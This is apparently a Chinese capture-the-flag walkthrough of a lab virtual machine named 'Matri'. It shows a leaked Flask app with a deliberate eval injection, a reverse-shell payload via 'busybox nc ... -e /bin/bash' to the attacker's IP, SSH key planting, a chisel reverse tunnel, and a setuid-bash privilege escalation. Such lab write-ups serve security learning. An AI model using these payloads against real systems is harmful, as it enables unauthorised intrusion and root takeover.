title: 群友机-Matri toc: true date: 2025-06-19 17:42:24

tags:

信息搜集

```
┌──(root㉿kali)-[~/Desktop/tmp]
└─# nmap 192.168.31.235 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-19 07:47 EDT
Nmap scan report for 192.168.31.235
Host is up (0.0028s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp
MAC Address: 08:00:27:81:D7:32 (PCS Systemtechnik/Oracle VirtualBox virtu

Nmap done: 1 IP address (1 host up) scanned in 6.88 seconds
```

开启了一个80端口和一个5000端口

源码泄露

80端口的前端里面有一个

```
chinese="N000e0000000_000b000a000c000k000u000p000.000z000i000p";
```

三个0为一组，每个字母后面跟一组0，去掉后就是

```
Ne0_backup.zip
```

访问可以下载下来源码

```
from flask import Flask, request, render_template, send_from_directory, r
from Archives import Archives  # 假设这是一个外部模块，包含档案数据
import pickle, base64, os
```

```python
from jinja2 import Environment
from random import choice
import numpy
import builtins
import io
import re
import shelve
from datetime import datetime

# 定义用于存储留言板数据的文件名
GUESTBOOK_FILE = 'guestbook.dat'

# 创建 Flask 应用实例
app = Flask(__name__)

# 初始化 Jinja2 环境
jinja_env = Environment()

# 动态执行字符串表达式的函数（可能存在安全风险）
def dynamic_execute(type_str, expression):
    command = "%s'%s'"%(type_str,expression)  # 拼接出要执行的命令
    print(command)
    return eval(command)  # 执行拼接后的命令

# 随机返回一个字符串（可能是某种混淆手段）
def get_random_string():
    candidates = ['class', '+', 'getitem', 'request', 'args', 'subclasse
    return choice(candidates)

# 主页路由
@app.route('/')
def index():
    global Archives  # 全局变量 Archives，表示档案数据
    response = make_response(render_template('index.html', Archives=Archi
    random_string = get_random_string()  # 确保返回 str
    response.set_cookie("username", value=random_string)  # 直接设置
    return response

# 查看指定 ID 的档案
@app.route('/Archive/<int:id>')
def Archive(id):
    global Archives
    if id > len(Archives):  # 如果 ID 超出范围
        return render_template('message.html', msg='文章ID不存在！', statu
    return render_template('Archive.html', Archive=Archives[id])  # 渲染档

# 处理留言功能
@app.route('/message', methods=['POST', 'GET'])
```

```
def handle_message():
    if request.method == 'GET':
        return render_template('message.html')  # 渲染留言页面
    else:
        message_type = request.form['type'][:1]  # 获取留言类型
        user_message = request.form['msg']  # 获取用户留言内容
        username = "Guest"  # 默认用户名为 Guest

        result = dynamic_execute(message_type, user_message)  # 动态执行用
        return render_template('message.html', msg=result, status=f'{use

# 检查用户输入的安全性
def is_safe_input(command):
    blacklist = [
        'object', 'exec', 'sh', '__getitem__', '__setitem__', 'import',
        'sys', ';', 'os', 'tcp', '`', '&', 'base64', 'flag', 'eval'
    ]
    for forbidden in blacklist:
        if forbidden in command:
            return forbidden
    return ""

# 显示欢迎信息
@app.route('/hello', methods=['GET', 'POST'])
def show_hello():
    username = request.cookies.get('username')  # 从 Cookie 中获取用户名
    unsafe_keyword = is_safe_input(username)  # 检查用户名是否包含不安全关键
    if unsafe_keyword:
        message = "error"
    else:
        message = jinja_env.from_string(f"Hello , Guest!").render()  # 使
    return render_template('hello.html', msg=message, is_value=False)


# 添加留言到留言板
def add_message_to_guestbook(name, comment, timestamp):
    with shelve.open(GUESTBOOK_FILE) as guestbook:  # 打开留言板文件
        if 'greeting_list' not in guestbook:
            messages = []
        else:
            messages = guestbook['greeting_list']
        messages.insert(0, {'name': name, 'comment': comment, 'create_at
        guestbook['greeting_list'] = messages

# 获取留言板中的所有留言
def get_all_messages_from_guestbook():
    with shelve.open(GUESTBOOK_FILE) as guestbook:
        return guestbook.get('greeting_list', [])
```

```
# 显示留言板
@app.route('/message2')
def view_message_board():
    messages = get_all_messages_from_guestbook()  # 获取所有留言
    return render_template('message2.html', greeting_list=messages)  # 渲

# 提交新的留言
@app.route('/post', methods=['POST'])
def submit_new_message():
    name = request.form.get('name')  # 获取用户名
    comment = request.form.get('comment')  # 获取留言内容
    timestamp = datetime.now()  # 获取当前时间戳
    add_message_to_guestbook(name, comment, timestamp)  # 添加留言到留言板
    return redirect('/message2')  # 重定向到留言板页面

if __name__ == '__main__':
    app.run(host='0.0.0.0', port='5000', debug=True)  # 启动 Flask 应用
```

代码执行

漏洞点在message路由，通过拼接字符然后执行

```
def dynamic_execute(type_str, expression):
    command = "%s'%s'"%(type_str,expression)  # 拼接出要执行的命令
    print(command)
    return eval(command)  # 执行拼接后的命令
@app.route('/message', methods=['POST', 'GET'])
def handle_message():
    if request.method == 'GET':
        return render_template('message.html')  # 渲染留言页面
    else:
        message_type = request.form['type'][:1]  # 获取留言类型
        user_message = request.form['msg']  # 获取用户留言内容
        username = "Guest"  # 默认用户名为 Guest

        result = dynamic_execute(message_type, user_message)  # 动态执行用
        return render_template('message.html', msg=result, status=f'{use
```

通过测试发现，type为空，会将msg的内容prinf出来，但并不会执行，type为 `f` ，msg为代码并用 `{}` 括起来，即可执行，相当于变成了f'{code}'

因为源代码里面已经导入过os库了所以直接写就行。

```
type=f&msg={os.system("busybox nc 192.168.31.129 4444 -e /bin/bash")}
```

拿到了 `anjv` 用户，写一个公钥进去

```
mkdir .ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJcatU49PfwyMAfrfJcaaIFCNOJNWO
```

然后ssh登录

提权

家目录里面有一个 `Ne0_jiagu_8000_backup.zip` ,解压

```
@app.route('/message', methods=['POST', 'GET'])
def handle_message():
    if request.method == 'GET':
        return render_template('message.html')  # 渲染留言页面
    else:
        message_type = request.form['type'][:1]  # 获取留言类型
        user_message = request.form['msg']  # 获取用户留言内容
        username = "Guest"  # 默认用户名为 Guest

        if len(user_message) > 35:  # 如果留言太长
            return render_template('message.html', msg='留言太长了! ', sta

        user_message = user_message.replace(' ', '').replace('_', '')  #
        result = dynamic_execute(message_type, user_message)  # 动态执行用
        return render_template('message.html', msg=result, status=f'{use
```

限制了长度，并且过滤了空格和下划线

```
anjv@Matrix:~$ ss -lntup
Netid         State         Recv-Q         Send-Q                  Local Addre

udp           UNCONN        0              0                             0.0.0

tcp           LISTEN        0              128                         127.0.0

tcp           LISTEN        0              128                           0.0.0
users:(("python3",pid=463,fd=6),("python3",pid=463,fd=5),("python3",pid=
tcp           LISTEN        0              128                           0.0.0

tcp           LISTEN        0              128

tcp           LISTEN        0              128                               [
```

将127.0.0.1:8000端口打个洞回来

```
┌──(root㉿kali)-[~/Desktop/tmp]
└─# ./chisel server -p 6666 --reverse
2025/06/19 08:00:53 server: Reverse tunnelling enabled
2025/06/19 08:00:53 server: Fingerprint pfDMPZNkToj34k5zDYO1wxqZntbPKwov
2025/06/19 08:00:53 server: Listening on http://0.0.0.0:6666

anjv@Matrix:~$ ./chisel client 192.168.31.129:6666 R:127.0.0.1:8000:8000
2025/06/19 08:01:16 client: Connecting to ws://192.168.31.129:6666
2025/06/19 08:01:16 client: Connected (Latency 881.311µs
```

在tmp目录下写一个sh文件

```
anjv@Matrix:/tmp$ vim 1.sh
anjv@Matrix:/tmp$ cat 1.sh
#!/bin/bash
cp /bin/bash /tmp/bash;chmod 4777 /tmp/bash
anjv@Matrix:/tmp$ chmod +x ./1.sh
```

访问kali的8000端口

```
http://192.168.31.129:8000/message
type=f&msg={os.system(".${IFS}/tmp/1.sh")}
```

然后

```
anjv@Matrix:/tmp$ ls
1.sh
bash
systemd-private-0355e83fc07b4e25aeb0853372c392f8-apache2.service-or7wmf
systemd-private-0355e83fc07b4e25aeb0853372c392f8-systemd-logind.service-
systemd-private-0355e83fc07b4e25aeb0853372c392f8-systemd-timesyncd.servi
anjv@Matrix:/tmp$ ./bash -p
bash-5.0# id
uid=1000(anjv) gid=1000(anjv) euid=0(root) groups=1000(anjv)
bash-5.0#
```

提权成功